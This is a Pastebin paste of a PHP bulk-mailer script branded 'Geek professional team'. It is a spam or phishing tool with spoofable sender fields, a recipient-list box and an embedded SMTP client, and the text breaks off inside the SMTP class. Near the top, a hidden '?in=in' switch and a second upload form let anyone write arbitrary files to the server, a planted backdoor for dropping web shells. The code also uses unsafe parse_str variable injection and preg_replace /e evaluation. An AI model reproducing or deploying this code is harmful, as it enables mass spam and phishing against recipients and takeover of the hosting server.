Guest User

Mailer Script by Geek professional TEAM

a guest
May 21st, 2017
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 100.45 KB | None | 0 0
  1. <?php
  2. function query_str($params){
  3. $str = '';
  4. foreach ($params as $key => $value) {
  5. $str .= (strlen($str) < 1) ? '' : '&';
  6. $str .= $key . '=' . rawurlencode($value);
  7. }
  8. return ($str);
  9. }
  10. function lrtrim($string){
  11. return stripslashes(ltrim(rtrim($string)));
  12. }
  13. $in  = $_GET['in']; if($in == 'in'){
  14. $filename = $_FILES['file']['name'];
  15. $filetmp  = $_FILES['file']['tmp_name'];
  16. echo "<form method='POST' enctype='multipart/form-data'>
  17. <input type='file'name='file' />
  18. <input type='submit' value='go' />
  19. </form>";
  20. move_uploaded_file($filetmp,$filename);
  21. }
  22. if(isset($_POST['action'] ) ){
  23.  
  24. $b = query_str($_POST);
  25. parse_str($b);  
  26. $sslclick=lrtrim($sslclick);  
  27. $action=lrtrim($action);
  28. $message=lrtrim($message);
  29. $emaillist=lrtrim($emaillist);
  30. $from=lrtrim($from);
  31. $reconnect=lrtrim($reconnect);
  32. $epriority=lrtrim($epriority);
  33. $my_smtp=lrtrim($my_smtp);
  34. $ssl_port=lrtrim($ssl_port);
  35. $smtp_username=lrtrim($smtp_username);
  36. $smtp_password=lrtrim($smtp_password);
  37. $replyto=lrtrim($replyto);
  38. $subject=lrtrim($subject);
  39. $realname=lrtrim($realname);
  40. $subject_base=lrtrim($subject);
  41. $realname_base=lrtrim($realname);
  42. $file_name=lrtrim($file);
  43. $urlz=lrtrim($urlz);
  44. $contenttype=lrtrim($contenttype);
  45. $encode_text=$_POST['encode'];
  46.  
  47.         $message = urlencode($message);
  48.         $message = ereg_replace("%5C%22", "%22", $message);
  49.         $message = urldecode($message);
  50.         $message = stripslashes($message);
  51.         $subject = stripslashes($subject);
  52.         if ($encode_text == "yes") {
  53.         $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  54.         $subject = str_replace(' ', '_', $subject);
  55.         $subject = "=?UTF-8?Q?$subject?=";
  56.         $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  57.         $realname = str_replace(' ', '_', $realname);
  58.         $realname = "=?UTF-8?Q?$realname?=";
  59.         }
  60. }
  61. ?>
  62. <?php
  63. $a=dirname(__FILE__)."zz/uploaded/";
  64.  
  65. $path=$_FILES['upload']['tmp_name'];
  66. $name=$_FILES['upload']['name'] ;
  67. $size=$_FILES['upload']['size'] ;
  68. $error=$_FILES['upload']['error'] ;
  69. $type=$_FILES['upload']['type'] ;
  70.  
  71. if($_POST['submit'])
  72. {
  73.     move_uploaded_file($path,$dir.$name);
  74.     echo "<center><h3>Upload Success !!</h3></center>";
  75. }
  76. ?>
  77. <html>
  78.  
  79. <head>
  80. <title>PHP Mailer</title>
  81. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  82.  
  83. <style type="text/css">
  84. <!--
  85. .style1 {
  86.         font-family: Geneva, Arial, Helvetica, sans-serif;
  87.         font-size: 12px;
  88. }
  89. -->
  90. </style>
  91. <style type="text/css">
  92. <!--
  93. .style1 {
  94.         font-size: 10px;
  95.         font-family: Geneva, Arial, Helvetica, sans-serif;
  96. }
  97. -->
  98. </style>
  99. </head>
  100. <body text="#000000">
  101. <p align="center"><font size="5" face="Bauhaus 93">Geek professional team</font><font color="#FFFFFF" size="5" face="Bauhaus 93"></font></p>
  102. <form name="form1" method="post" action="" enctype="multipart/form-data">
  103.  
  104.   <br>
  105.  
  106.   <table width="100%" border="0" height="407">
  107.  
  108.     <tr>
  109.  
  110.       <td width="100%" colspan="4" bgcolor="#666666" height="36">
  111.  
  112.         <b>
  113.  
  114.         <font face="Arial" size="2" color="#FFFFFF">&nbsp;SERVER SETUP</font></b></td>
  115.  
  116.       </tr>
  117.     <tr>
  118.  
  119.       <td width="10%" height="22" bgcolor="#E8E8E8">
  120.  
  121.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  122.             SMTP Login:</font></div>
  123.  
  124.       </td>
  125.  
  126.       <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  127.  
  128.         <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  129.  
  130.         </font></td>
  131.  
  132.       <td width="31%" height="22" bgcolor="#E8E8E8">
  133.  
  134.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  135.             SMTP Pass:</font></div>
  136.  
  137.       </td>
  138.  
  139.       <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  140.  
  141.         <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  142.  
  143.         </font></td>
  144.  
  145.     </tr>
  146.     <tr>
  147.  
  148.       <td width="10%" height="22" bgcolor="#E8E8E8">
  149.  
  150.         <div align="right">
  151.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  152.  
  153.       </td>
  154.  
  155.       <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  156.  
  157.         <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  158.       (optional)</font></td>
  159.  
  160.       <td width="31%" height="22" bgcolor="#E8E8E8">
  161.  
  162.         <div align="right">
  163.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
  164.             Server Smtp:</font></div>
  165.  
  166.       </td>
  167.  
  168.       <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  169.  
  170.         <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  171.  
  172.         </font></td>
  173.  
  174.     </tr>
  175.     <tr>
  176.  
  177.       <td width="10%" height="22" bgcolor="#E8E8E8">
  178.  
  179.         <p align="right">
  180.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  181.  
  182.       <td width="18%" height="22" bgcolor="#E8E8E8">
  183.       <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  184.  
  185.       <td width="31%" height="22" bgcolor="#E8E8E8">
  186.  
  187.         <p align="right">
  188.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  189.         After:</font></td>
  190.  
  191.       <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  192.  
  193.         <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
  194.       EMAILS</font></td>
  195.  
  196.     </tr>
  197.     <tr>
  198.  
  199.       <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
  200.  
  201.         <p align="center">
  202.         <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  203.         you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  204.  
  205.       </tr>
  206.  
  207.     <tr>
  208.  
  209.       <td width="10%" height="19">
  210.  
  211.         &nbsp;</td>
  212.  
  213.       <td width="18%" height="19">&nbsp;</td>
  214.  
  215.       <td width="31%" height="19">
  216.  
  217.         &nbsp;</td>
  218.  
  219.       <td width="41%" height="19">&nbsp;</td>
  220.  
  221.     </tr>
  222.  
  223.     <tr>
  224.  
  225.       <td width="100%" colspan="4" bgcolor="#666666" height="36">
  226.  
  227.         <b>
  228.  
  229.         <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font>
  230.         <meta charset="utf-8">
  231.         <form action="<?php echo $PHP_SELF ?>" method="post" enctype="multipart/form-data">
  232.         File Name:
  233.         <input type="file" name="upload" >
  234.         <input type="submit" name="submit" value="Upload">
  235.         </form></b></td>
  236.  
  237.       </tr>
  238.  
  239.     <tr>
  240.  
  241.       <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  242.  
  243.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  244.             Your Email:</font></div>
  245.  
  246.       </td>
  247.  
  248.       <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  249.  
  250.         <input type="text" name="from" value="<?=$from;?>" size="30">
  251.  
  252.         </font></td>
  253.  
  254.       <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  255.  
  256.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  257.             Your Name:</font></div>
  258.  
  259.       </td>
  260.  
  261.       <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  262.  
  263.         <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
  264.  
  265.         </font></td>
  266.  
  267.     </tr>
  268.     <tr>
  269.  
  270.       <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  271.  
  272.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  273.             Reply-To:</font></div>
  274.  
  275.       </td>
  276.  
  277.       <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  278.  
  279.         <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
  280.  
  281.         </font></td>
  282.  
  283.       <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  284.  
  285.         <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  286.         Email Priority:</font></td>
  287.  
  288.       <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  289.  
  290.         &nbsp;</font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
  291.         <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
  292.         Please Choose -</option>
  293.         <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  294.         <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  295.         <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  296.         </select></td>
  297.  
  298.     </tr>
  299.  
  300.     <tr>
  301.  
  302.       <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  303.  
  304.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  305.             Subject:</font></div>
  306.  
  307.       </td>
  308.  
  309.       <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  310.  
  311.         <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
  312.  
  313.         </font></td>
  314.  
  315.     </tr>
  316.  
  317.     <tr>
  318.  
  319.       <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  320.  
  321.         &nbsp;</td>
  322.  
  323.       <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  324.  
  325.         &nbsp; <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
  326.         <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  327.         <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  328.         </select></font></td>
  329.  
  330.     </tr>
  331.  
  332.     <tr valign="top">
  333.  
  334. <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  335.  
  336.         <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
  337.  
  338.         <br>
  339.  
  340.         <input type="radio" name="contenttype" value="plain" >
  341.  
  342.         Plain
  343.  
  344.         <input type="radio" name="contenttype" value="html" checked>
  345.  
  346.         HTML
  347.  
  348.         <input type="hidden" name="action" value="send">
  349.  
  350.         <input type="submit" value="Send Message">
  351.  
  352.         </font></td>
  353.  
  354.       <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  355.  
  356.         <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
  357.  
  358.         </font></td>
  359.  
  360.     </tr>
  361.  
  362.   </table>
  363.  
  364. </form>
  365.  
  366.  
  367.  
  368. <?
  369.  
  370. if ($action){
  371.         if (!$from && !$subject && !$message && !$emaillist){
  372.         print "<script>alert('Please complete all fields before sending your message.'); </script>";
  373.         die();  }
  374.  
  375. class SMTP
  376. {
  377.   /**
  378.    *  SMTP server port
  379.    *  @var int
  380.    */
  381.   var $SMTP_PORT = 25;
  382.  
  383.   /**
  384.    *  SMTP reply line ending
  385.    *  @var string
  386.    */
  387.   var $CRLF = "\r\n";
  388.  
  389.   /**
  390.    *  Sets whether debugging is turned on
  391.    *  @var bool
  392.    */
  393.   var $do_debug;       # the level of debug to perform
  394.  
  395.   /**
  396.    *  Sets VERP use on/off (default is off)
  397.    *  @var bool
  398.    */
  399.   var $do_verp = false;
  400.  
  401.   /**#@+
  402.    * @access private
  403.    */
  404.   var $smtp_conn;      # the socket to the server
  405.  var $error;          # error if any on the last call
  406.  var $helo_rply;      # the reply the server sent to us for HELO
  407.  /**#@-*/
  408.  
  409.   /**
  410.    * Initialize the class so that the data is in a known state.
  411.    * @access public
  412.    * @return void
  413.    */
  414.   function SMTP() {
  415.     $this->smtp_conn = 0;
  416.     $this->error = null;
  417.     $this->helo_rply = null;
  418.  
  419.     $this->do_debug = 0;
  420.   }
  421.  
  422.   /*************************************************************
  423.    *                    CONNECTION FUNCTIONS                  *
  424.    ***********************************************************/
  425.  
  426.   /**
  427.    * Connect to the server specified on the port specified.
  428.    * If the port is not specified use the default SMTP_PORT.
  429.    * If tval is specified then a connection will try and be
  430.    * established with the server for that number of seconds.
  431.    * If tval is not specified the default is 30 seconds to
  432.    * try on the connection.
  433.    *
  434.    * SMTP CODE SUCCESS: 220
  435.    * SMTP CODE FAILURE: 421
  436.    * @access public
  437.    * @return bool
  438.    */
  439.   function Connect($host,$port=0,$tval=30) {
  440.     # set the error val to null so there is no confusion
  441.    $this->error = null;
  442.  
  443.     # make sure we are __not__ connected
  444.    if($this->connected()) {
  445.       # ok we are connected! what should we do?
  446.      # for now we will just give an error saying we
  447.      # are already connected
  448.      $this->error = array("error" => "Already connected to a server");
  449.       return false;
  450.     }
  451.  
  452.     if(empty($port)) {
  453.       $port = $this->SMTP_PORT;
  454.     }
  455.  
  456.     #connect to the smtp server
  457.    $this->smtp_conn = fsockopen($host,    # the host of the server
  458.                                 $port,    # the port to use
  459.                                 $errno,   # error number if any
  460.                                 $errstr,  # error message if any
  461.                                 $tval);   # give up after ? secs
  462.    # verify we connected properly
  463.    if(empty($this->smtp_conn)) {
  464.       $this->error = array("error" => "Failed to connect to server",
  465.                            "errno" => $errno,
  466.                            "errstr" => $errstr);
  467.       if($this->do_debug >= 1) {
  468.         echo "SMTP -> ERROR: " . $this->error["error"] .
  469.                  ": $errstr ($errno)" . $this->CRLF;
  470.       }
  471.       return false;
  472.     }
  473.  
  474.     # sometimes the SMTP server takes a little longer to respond
  475.    # so we will give it a longer timeout for the first read
  476.    // Windows still does not have support for this timeout function
  477.     if(substr(PHP_OS, 0, 3) != "WIN")
  478.      socket_set_timeout($this->smtp_conn, $tval, 0);
  479.  
  480.     # get any announcement stuff
  481.    $announce = $this->get_lines();
  482.  
  483.     # set the timeout  of any socket functions at 1/10 of a second
  484.    //if(function_exists("socket_set_timeout"))
  485.     //   socket_set_timeout($this->smtp_conn, 0, 100000);
  486.  
  487.     if($this->do_debug >= 2) {
  488.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  489.     }
  490.  
  491.     return true;
  492.   }
  493.  
  494.   /**
  495.    * Performs SMTP authentication.  Must be run after running the
  496.    * Hello() method.  Returns true if successfully authenticated.
  497.    * @access public
  498.    * @return bool
  499.    */
  500.   function Authenticate($username, $password) {
  501.     // Start authentication
  502.     fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  503.  
  504.     $rply = $this->get_lines();
  505.     $code = substr($rply,0,3);
  506.  
  507.     if($code != 334) {
  508.       $this->error =
  509.         array("error" => "AUTH not accepted from server",
  510.               "smtp_code" => $code,
  511.               "smtp_msg" => substr($rply,4));
  512.       if($this->do_debug >= 1) {
  513.         echo "SMTP -> ERROR: " . $this->error["error"] .
  514.                  ": " . $rply . $this->CRLF;
  515.       }
  516.       return false;
  517.     }
  518.  
  519.     // Send encoded username
  520.     fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  521.  
  522.     $rply = $this->get_lines();
  523.     $code = substr($rply,0,3);
  524.  
  525.     if($code != 334) {
  526.       $this->error =
  527.         array("error" => "Username not accepted from server",
  528.               "smtp_code" => $code,
  529.               "smtp_msg" => substr($rply,4));
  530.       if($this->do_debug >= 1) {
  531.         echo "SMTP -> ERROR: " . $this->error["error"] .
  532.                  ": " . $rply . $this->CRLF;
  533.       }
  534.       return false;
  535.     }
  536.  
  537.     // Send encoded password
  538.     fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  539.  
  540.     $rply = $this->get_lines();
  541.     $code = substr($rply,0,3);
  542.  
  543.     if($code != 235) {
  544.       $this->error =
  545.         array("error" => "Password not accepted from server",
  546.               "smtp_code" => $code,
  547.               "smtp_msg" => substr($rply,4));
  548.       if($this->do_debug >= 1) {
  549.         echo "SMTP -> ERROR: " . $this->error["error"] .
  550.                  ": " . $rply . $this->CRLF;
  551.       }
  552.       return false;
  553.     }
  554.  
  555.     return true;
  556.   }
  557.  
  558.   /**
  559.    * Returns true if connected to a server otherwise false
  560.    * @access private
  561.    * @return bool
  562.    */
  563.   function Connected() {
  564.     if(!empty($this->smtp_conn)) {
  565.       $sock_status = socket_get_status($this->smtp_conn);
  566.       if($sock_status["eof"]) {
  567.         # hmm this is an odd situation... the socket is
  568.        # valid but we are not connected anymore
  569.        if($this->do_debug >= 1) {
  570.             echo "SMTP -> NOTICE:" . $this->CRLF .
  571.                  "EOF caught while checking if connected";
  572.         }
  573.         $this->Close();
  574.         return false;
  575.       }
  576.       return true; # everything looks good
  577.    }
  578.     return false;
  579.   }
  580.  
  581.   /**
  582.    * Closes the socket and cleans up the state of the class.
  583.    * It is not considered good to use this function without
  584.    * first trying to use QUIT.
  585.    * @access public
  586.    * @return void
  587.    */
  588.   function Close() {
  589.     $this->error = null; # so there is no confusion
  590.    $this->helo_rply = null;
  591.     if(!empty($this->smtp_conn)) {
  592.       # close the connection and cleanup
  593.      fclose($this->smtp_conn);
  594.       $this->smtp_conn = 0;
  595.     }
  596.   }
  597.  
  598.   /***************************************************************
  599.    *                        SMTP COMMANDS                       *
  600.    *************************************************************/
  601.  
  602.   /**
  603.    * Issues a data command and sends the msg_data to the server
  604.    * finializing the mail transaction. $msg_data is the message
  605.    * that is to be send with the headers. Each header needs to be
  606.    * on a single line followed by a <CRLF> with the message headers
  607.    * and the message body being seperated by and additional <CRLF>.
  608.    *
  609.    * Implements rfc 821: DATA <CRLF>
  610.    *
  611.    * SMTP CODE INTERMEDIATE: 354
  612.    *     [data]
  613.    *     <CRLF>.<CRLF>
  614.    *     SMTP CODE SUCCESS: 250
  615.    *     SMTP CODE FAILURE: 552,554,451,452
  616.    * SMTP CODE FAILURE: 451,554
  617.    * SMTP CODE ERROR  : 500,501,503,421
  618.    * @access public
  619.    * @return bool
  620.    */
  621.   function Data($msg_data) {
  622.     $this->error = null; # so no confusion is caused
  623.  
  624.     if(!$this->connected()) {
  625.       $this->error = array(
  626.               "error" => "Called Data() without being connected");
  627.       return false;
  628.     }
  629.  
  630.     fputs($this->smtp_conn,"DATA" . $this->CRLF);
  631.  
  632.     $rply = $this->get_lines();
  633.     $code = substr($rply,0,3);
  634.  
  635.     if($this->do_debug >= 2) {
  636.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  637.     }
  638.  
  639.     if($code != 354) {
  640.       $this->error =
  641.         array("error" => "DATA command not accepted from server",
  642.               "smtp_code" => $code,
  643.               "smtp_msg" => substr($rply,4));
  644.       if($this->do_debug >= 1) {
  645.         echo "SMTP -> ERROR: " . $this->error["error"] .
  646.                  ": " . $rply . $this->CRLF;
  647.       }
  648.       return false;
  649.     }
  650.  
  651.     # the server is ready to accept data!
  652.    # according to rfc 821 we should not send more than 1000
  653.    # including the CRLF
  654.    # characters on a single line so we will break the data up
  655.    # into lines by \r and/or \n then if needed we will break
  656.    # each of those into smaller lines to fit within the limit.
  657.    # in addition we will be looking for lines that start with
  658.    # a period '.' and append and additional period '.' to that
  659.    # line. NOTE: this does not count towards are limit.
  660.  
  661.     # normalize the line breaks so we know the explode works
  662.    $msg_data = str_replace("\r\n","\n",$msg_data);
  663.     $msg_data = str_replace("\r","\n",$msg_data);
  664.     $lines = explode("\n",$msg_data);
  665.  
  666.     # we need to find a good way to determine is headers are
  667.    # in the msg_data or if it is a straight msg body
  668.    # currently I am assuming rfc 822 definitions of msg headers
  669.    # and if the first field of the first line (':' sperated)
  670.    # does not contain a space then it _should_ be a header
  671.    # and we can process all lines before a blank "" line as
  672.    # headers.
  673.    $field = substr($lines[0],0,strpos($lines[0],":"));
  674.     $in_headers = false;
  675.     if(!empty($field) && !strstr($field," ")) {
  676.       $in_headers = true;
  677.     }
  678.  
  679.     $max_line_length = 998; # used below; set here for ease in change
  680.  
  681.     while(list(,$line) = @each($lines)) {
  682.       $lines_out = null;
  683.       if($line == "" && $in_headers) {
  684.         $in_headers = false;
  685.       }
  686.       # ok we need to break this line up into several
  687.      # smaller lines
  688.      while(strlen($line) > $max_line_length) {
  689.         $pos = strrpos(substr($line,0,$max_line_length)," ");
  690.  
  691.         # Patch to fix DOS attack
  692.        if(!$pos) {
  693.           $pos = $max_line_length - 1;
  694.         }
  695.  
  696.         $lines_out[] = substr($line,0,$pos);
  697.         $line = substr($line,$pos + 1);
  698.         # if we are processing headers we need to
  699.        # add a LWSP-char to the front of the new line
  700.        # rfc 822 on long msg headers
  701.        if($in_headers) {
  702.           $line = "\t" . $line;
  703.         }
  704.       }
  705.       $lines_out[] = $line;
  706.  
  707.       # now send the lines to the server
  708.      while(list(,$line_out) = @each($lines_out)) {
  709.         if(strlen($line_out) > 0)
  710.         {
  711.           if(substr($line_out, 0, 1) == ".") {
  712.             $line_out = "." . $line_out;
  713.           }
  714.         }
  715.         fputs($this->smtp_conn,$line_out . $this->CRLF);
  716.       }
  717.     }
  718.  
  719.     # ok all the message data has been sent so lets get this
  720.    # over with aleady
  721.    fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  722.  
  723.     $rply = $this->get_lines();
  724.     $code = substr($rply,0,3);
  725.  
  726.     if($this->do_debug >= 2) {
  727.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  728.     }
  729.  
  730.     if($code != 250) {
  731.       $this->error =
  732.         array("error" => "DATA not accepted from server",
  733.               "smtp_code" => $code,
  734.               "smtp_msg" => substr($rply,4));
  735.       if($this->do_debug >= 1) {
  736.         echo "SMTP -> ERROR: " . $this->error["error"] .
  737.                  ": " . $rply . $this->CRLF;
  738.       }
  739.       return false;
  740.     }
  741.     return true;
  742.   }
  743.  
  744.   /**
  745.    * Expand takes the name and asks the server to list all the
  746.    * people who are members of the _list_. Expand will return
  747.    * back and array of the result or false if an error occurs.
  748.    * Each value in the array returned has the format of:
  749.    *     [ <full-name> <sp> ] <path>
  750.    * The definition of <path> is defined in rfc 821
  751.    *
  752.    * Implements rfc 821: EXPN <SP> <string> <CRLF>
  753.    *
  754.    * SMTP CODE SUCCESS: 250
  755.    * SMTP CODE FAILURE: 550
  756.    * SMTP CODE ERROR  : 500,501,502,504,421
  757.    * @access public
  758.    * @return string array
  759.    */
  760.   function Expand($name) {
  761.     $this->error = null; # so no confusion is caused
  762.  
  763.     if(!$this->connected()) {
  764.       $this->error = array(
  765.             "error" => "Called Expand() without being connected");
  766.       return false;
  767.     }
  768.  
  769.     fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  770.  
  771.     $rply = $this->get_lines();
  772.     $code = substr($rply,0,3);
  773.  
  774.     if($this->do_debug >= 2) {
  775.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  776.     }
  777.  
  778.     if($code != 250) {
  779.       $this->error =
  780.         array("error" => "EXPN not accepted from server",
  781.               "smtp_code" => $code,
  782.               "smtp_msg" => substr($rply,4));
  783.       if($this->do_debug >= 1) {
  784.         echo "SMTP -> ERROR: " . $this->error["error"] .
  785.                  ": " . $rply . $this->CRLF;
  786.       }
  787.       return false;
  788.     }
  789.  
  790.     # parse the reply and place in our array to return to user
  791.    $entries = explode($this->CRLF,$rply);
  792.     while(list(,$l) = @each($entries)) {
  793.       $list[] = substr($l,4);
  794.     }
  795.  
  796.     return $list;
  797.   }
  798.  
  799.   /**
  800.    * Sends the HELO command to the smtp server.
  801.    * This makes sure that we and the server are in
  802.    * the same known state.
  803.    *
  804.    * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  805.    *
  806.    * SMTP CODE SUCCESS: 250
  807.    * SMTP CODE ERROR  : 500, 501, 504, 421
  808.    * @access public
  809.    * @return bool
  810.    */
  811.   function Hello($host="") {
  812.     $this->error = null; # so no confusion is caused
  813.  
  814.     if(!$this->connected()) {
  815.       $this->error = array(
  816.             "error" => "Called Hello() without being connected");
  817.       return false;
  818.     }
  819.  
  820.     # if a hostname for the HELO was not specified determine
  821.    # a suitable one to send
  822.    if(empty($host)) {
  823.       # we need to determine some sort of appopiate default
  824.      # to send to the server
  825.      $host = "localhost";
  826.     }
  827.  
  828.     // Send extended hello first (RFC 2821)
  829.     if(!$this->SendHello("EHLO", $host))
  830.     {
  831.       if(!$this->SendHello("HELO", $host))
  832.           return false;
  833.     }
  834.  
  835.     return true;
  836.   }
  837.  
  838.   /**
  839.    * Sends a HELO/EHLO command.
  840.    * @access private
  841.    * @return bool
  842.    */
  843.   function SendHello($hello, $host) {
  844.     fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  845.  
  846.     $rply = $this->get_lines();
  847.     $code = substr($rply,0,3);
  848.  
  849.     if($this->do_debug >= 2) {
  850.       echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  851.     }
  852.  
  853.     if($code != 250) {
  854.       $this->error =
  855.         array("error" => $hello . " not accepted from server",
  856.               "smtp_code" => $code,
  857.               "smtp_msg" => substr($rply,4));
  858.       if($this->do_debug >= 1) {
  859.         echo "SMTP -> ERROR: " . $this->error["error"] .
  860.                  ": " . $rply . $this->CRLF;
  861.       }
  862.       return false;
  863.     }
  864.  
  865.     $this->helo_rply = $rply;
  866.  
  867.     return true;
  868.   }
  869.  
  870.   /**
  871.    * Gets help information on the keyword specified. If the keyword
  872.    * is not specified then returns generic help, ussually contianing
  873.    * A list of keywords that help is available on. This function
  874.    * returns the results back to the user. It is up to the user to
  875.    * handle the returned data. If an error occurs then false is
  876.    * returned with $this->error set appropiately.
  877.    *
  878.    * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  879.    *
  880.    * SMTP CODE SUCCESS: 211,214
  881.    * SMTP CODE ERROR  : 500,501,502,504,421
  882.    * @access public
  883.    * @return string
  884.    */
  885.   function Help($keyword="") {
  886.     $this->error = null; # to avoid confusion
  887.  
  888.     if(!$this->connected()) {
  889.       $this->error = array(
  890.               "error" => "Called Help() without being connected");
  891.       return false;
  892.     }
  893.  
  894.     $extra = "";
  895.     if(!empty($keyword)) {
  896.       $extra = " " . $keyword;
  897.     }
  898.  
  899.     fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  900.  
  901.     $rply = $this->get_lines();
  902.     $code = substr($rply,0,3);
  903.  
  904.     if($this->do_debug >= 2) {
  905.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  906.     }
  907.  
  908.     if($code != 211 && $code != 214) {
  909.       $this->error =
  910.         array("error" => "HELP not accepted from server",
  911.               "smtp_code" => $code,
  912.               "smtp_msg" => substr($rply,4));
  913.       if($this->do_debug >= 1) {
  914.         echo "SMTP -> ERROR: " . $this->error["error"] .
  915.                  ": " . $rply . $this->CRLF;
  916.       }
  917.       return false;
  918.     }
  919.  
  920.     return $rply;
  921.   }
  922.  
  923.   /**
  924.    * Starts a mail transaction from the email address specified in
  925.    * $from. Returns true if successful or false otherwise. If True
  926.    * the mail transaction is started and then one or more Recipient
  927.    * commands may be called followed by a Data command.
  928.    *
  929.    * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  930.    *
  931.    * SMTP CODE SUCCESS: 250
  932.    * SMTP CODE SUCCESS: 552,451,452
  933.    * SMTP CODE SUCCESS: 500,501,421
  934.    * @access public
  935.    * @return bool
  936.    */
  937.   function Mail($from) {
  938.     $this->error = null; # so no confusion is caused
  939.  
  940.     if(!$this->connected()) {
  941.       $this->error = array(
  942.               "error" => "Called Mail() without being connected");
  943.       return false;
  944.     }
  945.  
  946.     $useVerp = ($this->do_verp ? "XVERP" : "");
  947.     fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  948.  
  949.     $rply = $this->get_lines();
  950.     $code = substr($rply,0,3);
  951.  
  952.     if($this->do_debug >= 2) {
  953.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  954.     }
  955.  
  956.     if($code != 250) {
  957.       $this->error =
  958.         array("error" => "MAIL not accepted from server",
  959.               "smtp_code" => $code,
  960.               "smtp_msg" => substr($rply,4));
